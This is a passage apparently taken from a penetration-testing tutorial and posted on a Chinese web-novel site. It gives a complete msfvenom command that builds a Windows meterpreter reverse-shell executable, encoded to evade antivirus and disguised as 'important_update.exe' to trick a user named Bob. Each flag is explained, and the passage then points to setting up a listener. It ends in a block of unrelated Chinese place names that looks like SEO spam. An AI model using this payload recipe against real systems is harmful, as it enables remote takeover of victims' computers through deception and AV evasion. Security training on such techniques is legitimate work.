官术网_书友最值得收藏!

Commands

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -f exe LHOST=192.168.10.50LPORT=8080 > ~/Desktop/important_update.exe 

  • msfvenom: msfvenom is a tool from the Metasploit framework that combines the functionality of msfpayload and msfencode. It's able to backdoor legitimate files and encode them for things such as AV evasion. It can craft payloads for pretty much any platform, and any format.
  • -p windows/meterpreter/reverse_tcp: This tells msfvenom what to use for a payload. In this case, we're using the standard meterpreter reverse shell, which will pop a shell on the remote host and connect back to a listener that we have running.
  • -e x86/shikata_ga_nai -i 5: This tells msfvenom to encode the payload, using the shikata_ga_nai encoder. This is one of the better encoders that is included with the Metasploit framework, and is very helpful with evading AV. If the payload isn't encoded, AV will be able to detect the meterpreter shellcode. The-i 5 flag will tell msfvenom to run five iterations of the encoder. Sometimes the encoder fails to execute all the iterations; run it again, however, and eventually it will succeed.
  • -f exe: This flag says that we would like to encode our payload as a standard Windows executable. This isn't necessary, but it does allow us to see that msfvenom can produce many different types of output, including Perl, Ruby, Python, exe, Java, DLLs, and many more.
  • LHOST=192.168.10.50 LPORT=8080: These are options specific to the meterpreter payload that we've chosen here. This will set the reverse shell to connect back to our listener at 192.168.10.50 and use port 8080.
  • > ~/Desktop/important_update.exe: This will output the result from msfvenom to a file of our choosing. In this case, we're using important _update.exe. Our poor user Bob will, of course, choose to open this file, because he knows that it's important to keep his computer updated:

As you can see from the preceding screenshot, I generated the exploit on a desktop folder and I named it important_update.exe.

The next step is to set up the listener on our attacking computer by using a multi-handler.

主站蜘蛛池模板: 曲阳县| 抚松县| 武强县| 沐川县| 泸溪县| 确山县| 绍兴市| 宁晋县| 烟台市| 高尔夫| 黄梅县| 林甸县| 安宁市| 鹤壁市| 尚义县| 新乡市| 庆阳市| 定远县| 禄丰县| 浦江县| 凤冈县| 静乐县| 安阳县| 调兵山市| 和田市| 巴林左旗| 临泽县| 怀来县| 顺义区| 肥东县| 洪江市| 合江县| 垫江县| 富蕴县| 枣强县| 南宫市| 云林县| 林周县| 石林| 轮台县| 那坡县|